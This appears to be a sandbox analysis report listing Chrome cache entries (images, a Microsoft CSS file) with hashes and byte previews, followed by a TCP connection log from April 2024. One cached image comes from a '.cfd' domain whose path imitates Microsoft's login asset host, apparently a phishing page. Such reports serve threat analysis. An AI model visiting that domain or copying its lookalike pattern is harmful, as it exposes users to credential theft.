SSDEEP:	6:6v/lhPkR/C+k790OCotr/vbXX3PHrLiBxwGFhGsznYUAlnEkPb6PL2+/pTp:6v/78/v4rrXX3u1XYRm4byp9
MD5:	290AFB4165DD808A850D8920AEB5DBF4
SHA1:	0B4BF844AED3A740A99B7415F6BD803E84DDDA4D
SHA-256:	882FDB8A4BF176D2A09427D6A5BDBA3051307F2605090DA848085B0D78B6FD99
SHA-512:	197AD95E98C04B26AAD845DF7FF5C3C2CC6020E5273526970261F30A8EEAAB30A1C0DDC2BAE1D654095E8D47D399CCB526B32AD7CBE84CB1140E2D5F5142A7DB
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSImages/Print-new-2.png?version=4eafce11-a3df-e971-f481-fed76428ffa1
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8O..=..0...\.+....{......A.qQ..*.....&.l.....4i.7MM$u..:b&5..F.2.q....%3L.K..,..2C....c?+.{....B7i~R..0;.r..C.c....$....Jx.^8.O.l.!E).#l...e..#.k/...y.D..%<.<......4\.2H..0.>...WY9giK,la/....p<...4%...N..-I..._%...s1....P.......IEND.B`.

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (402)
Category:	downloaded
Size (bytes):	262641
Entropy (8bit):	4.9463902181496096
Encrypted:	false
SSDEEP:	3072:u+Vd0pBbqPLYoyjFkxD2hAYwJb8ILm731Ss:u+Vd0DePLYoyjFkxD2hAYwJbZLM31Ss
MD5:	7C593B06759DB6D01614729D206738D6
SHA1:	0D4F76D10944933B8DDECFFE9691081439A77A3C
SHA-256:	F7D9FB0479DE843CF3FB0B78FC56BBB9E30BF0A238C6F79D9209FA8B22EFB574
SHA-512:	EF91B610CF17A17AAFB48984B4403EF175EB86096E3F12E23AE8D4C7C96EF60ED14DA3F69721E095CD2ACE3F0A06190186D000992823814BB906F7FB3576C2C1
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/oneui/oneui1.16.2/dist/css/app.css
Preview:	@font-face {. font-family: "wf_segoe-ui_normal";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");. font-weight: normal;. font-style: normal; }..@font-face {. font-family: "wf_segoe-ui_light";. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot");. src: url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.eot?#iefix") format("embedded-opentype"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff") format("woff"), url("//i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.ttf") format("truetype

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	338
Entropy (8bit):	7.004897375379158
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+k790OCotr/vbXX3PHrLiBxwGFhGsznYUAlnEkPb6PL2+/pTp:6v/78/v4rrXX3u1XYRm4byp9
MD5:	290AFB4165DD808A850D8920AEB5DBF4
SHA1:	0B4BF844AED3A740A99B7415F6BD803E84DDDA4D
SHA-256:	882FDB8A4BF176D2A09427D6A5BDBA3051307F2605090DA848085B0D78B6FD99
SHA-512:	197AD95E98C04B26AAD845DF7FF5C3C2CC6020E5273526970261F30A8EEAAB30A1C0DDC2BAE1D654095E8D47D399CCB526B32AD7CBE84CB1140E2D5F5142A7DB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8O..=..0...\.+....{......A.qQ..*.....&.l.....4i.7MM$u..:b&5..F.2.q....%3L.K..,..2C....c?+.{....B7i~R..0;.r..C.c....$....Jx.^8.O.l.!E).#l...e..#.k/...y.D..%<.<......4\.2H..0.>...WY9giK,la/....p<...4%...N..-I..._%...s1....P.......IEND.B`.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 13:20:42.653506041 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 26, 2024 13:20:42.653523922 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 26, 2024 13:20:42.762871981 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 26, 2024 13:20:52.309776068 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 26, 2024 13:20:52.419219971 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 26, 2024 13:20:52.434762001 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 26, 2024 13:20:53.682168961 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:20:53.682215929 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:20:53.682276011 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:20:53.682483912 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:20:53.682502985 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:20:53.861052036 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 26, 2024 13:20:53.861155987 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 26, 2024 13:20:54.026912928 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:20:54.027225971 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:20:54.027240992 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:20:54.028687954 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:20:54.028760910 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:20:54.030668020 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:20:54.030750990 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:20:54.120825052 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:20:54.120836020 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:20:54.225198984 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:20:55.746705055 CEST	49710	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:55.746762991 CEST	443	49710	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:55.746844053 CEST	49710	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:55.747019053 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:55.747088909 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:55.747174025 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:55.749340057 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:55.749389887 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:55.749844074 CEST	49710	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:55.749876022 CEST	443	49710	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.235502958 CEST	443	49710	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.236702919 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.261013031 CEST	49710	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.261044979 CEST	443	49710	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.261198997 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.261240005 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.262140036 CEST	443	49710	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.262191057 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.262290955 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.262321949 CEST	49710	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.266555071 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.266664028 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.267698050 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.267714024 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.268225908 CEST	49710	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.268345118 CEST	443	49710	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.321986914 CEST	49710	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.322014093 CEST	443	49710	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.337376118 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.457818031 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.457875967 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.458040953 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.459208012 CEST	49711	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.459238052 CEST	443	49711	3.136.74.202	192.168.2.5
Apr 26, 2024 13:20:56.512027979 CEST	49710	443	192.168.2.5	3.136.74.202
Apr 26, 2024 13:20:56.593549967 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:56.593581915 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:56.593664885 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:56.593910933 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:56.593926907 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:56.877579927 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:56.877964020 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:56.877984047 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:56.879055977 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:56.879122019 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:56.880631924 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:56.880708933 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:56.880851030 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:56.880858898 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:57.025218964 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:57.289848089 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:57.289900064 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:20:57.289999962 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:57.291423082 CEST	49714	443	192.168.2.5	104.244.42.197
Apr 26, 2024 13:20:57.291460037 CEST	443	49714	104.244.42.197	192.168.2.5
Apr 26, 2024 13:21:00.626543045 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:00.626590967 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:00.626652956 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:00.629750013 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:00.629801989 CEST	443	49716	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:00.629873037 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:00.630331039 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:00.630359888 CEST	443	49716	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:00.630481005 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:00.630498886 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:00.961580992 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:00.966945887 CEST	443	49716	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.053672075 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.053745985 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.121084929 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.121103048 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.121268034 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.121290922 CEST	443	49716	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.122143030 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.122157097 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.122221947 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.122929096 CEST	443	49716	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.122950077 CEST	443	49716	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.123002052 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.134769917 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.134833097 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.135730982 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.135823011 CEST	443	49716	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.136112928 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.136122942 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.257862091 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.259001017 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.259022951 CEST	443	49716	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.282685041 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.282732010 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.282809973 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.287517071 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.287542105 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.309961081 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.311199903 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.311254025 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.312109947 CEST	49715	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.312128067 CEST	443	49715	31.170.163.25	192.168.2.5
Apr 26, 2024 13:21:01.378102064 CEST	49716	443	192.168.2.5	31.170.163.25
Apr 26, 2024 13:21:01.554754972 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.554828882 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.560424089 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.560437918 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.560703993 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.622792006 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.642591953 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.642632961 CEST	443	49718	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:01.642702103 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.644381046 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.644426107 CEST	443	49719	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:01.644503117 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.646718979 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.646738052 CEST	443	49719	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:01.740658998 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.741669893 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.741717100 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:01.741779089 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.742727041 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.742744923 CEST	443	49718	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:01.743181944 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:01.743201017 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:01.788115025 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.868473053 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.868530035 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.868582964 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.871861935 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.871901035 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.871946096 CEST	49717	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.871961117 CEST	443	49717	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.924912930 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.924958944 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:01.925079107 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.925911903 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:01.925935030 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:02.148803949 CEST	443	49719	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.205758095 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:02.205847979 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:02.212095022 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.219144106 CEST	443	49718	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.346775055 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.346782923 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.346784115 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.816678047 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:02.816699982 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:02.817198992 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:02.824352980 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:02.824810982 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.824835062 CEST	443	49718	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.825015068 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.825043917 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.825325012 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.825350046 CEST	443	49719	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.826008081 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.826020956 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.826071024 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.826432943 CEST	443	49718	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.826451063 CEST	443	49718	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.826498985 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.829168081 CEST	443	49719	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.829200983 CEST	443	49719	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:02.829246044 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:02.868143082 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:02.951741934 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:02.951919079 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:02.952007055 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:02.960896015 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:02.960916042 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:02.960985899 CEST	49721	443	192.168.2.5	23.196.177.159
Apr 26, 2024 13:21:02.960994005 CEST	443	49721	23.196.177.159	192.168.2.5
Apr 26, 2024 13:21:03.053464890 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.090352058 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.090498924 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:03.091007948 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.091298103 CEST	443	49718	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:03.091661930 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.091806889 CEST	443	49719	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:03.092570066 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.092591047 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:03.142079115 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.142093897 CEST	443	49718	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:03.142122984 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.157820940 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.157847881 CEST	443	49719	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:03.249361038 CEST	49718	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.265732050 CEST	49719	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:03.941796064 CEST	49722	443	192.168.2.5	40.68.123.157
Apr 26, 2024 13:21:03.941843987 CEST	443	49722	40.68.123.157	192.168.2.5
Apr 26, 2024 13:21:03.941930056 CEST	49722	443	192.168.2.5	40.68.123.157
Apr 26, 2024 13:21:03.947561026 CEST	49722	443	192.168.2.5	40.68.123.157
Apr 26, 2024 13:21:03.947578907 CEST	443	49722	40.68.123.157	192.168.2.5
Apr 26, 2024 13:21:04.002233028 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:21:04.002392054 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:21:04.002517939 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:21:04.476727009 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:04.477220058 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:04.477312088 CEST	443	49720	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:04.477405071 CEST	49720	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:04.681865931 CEST	443	49722	40.68.123.157	192.168.2.5
Apr 26, 2024 13:21:04.681972027 CEST	49722	443	192.168.2.5	40.68.123.157
Apr 26, 2024 13:21:04.684674025 CEST	49722	443	192.168.2.5	40.68.123.157
Apr 26, 2024 13:21:04.684684038 CEST	443	49722	40.68.123.157	192.168.2.5
Apr 26, 2024 13:21:04.684945107 CEST	443	49722	40.68.123.157	192.168.2.5
Apr 26, 2024 13:21:04.742624998 CEST	49722	443	192.168.2.5	40.68.123.157
Apr 26, 2024 13:21:05.147591114 CEST	49709	443	192.168.2.5	142.250.64.196
Apr 26, 2024 13:21:05.147612095 CEST	443	49709	142.250.64.196	192.168.2.5
Apr 26, 2024 13:21:05.280035019 CEST	49725	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:05.280062914 CEST	443	49725	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:05.280317068 CEST	49725	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:05.280885935 CEST	49725	443	192.168.2.5	2.58.15.240
Apr 26, 2024 13:21:05.280898094 CEST	443	49725	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:05.773396969 CEST	443	49725	2.58.15.240	192.168.2.5
Apr 26, 2024 13:21:05.800070047 CEST	49725	443	192.168.2.5	2.58.15.240
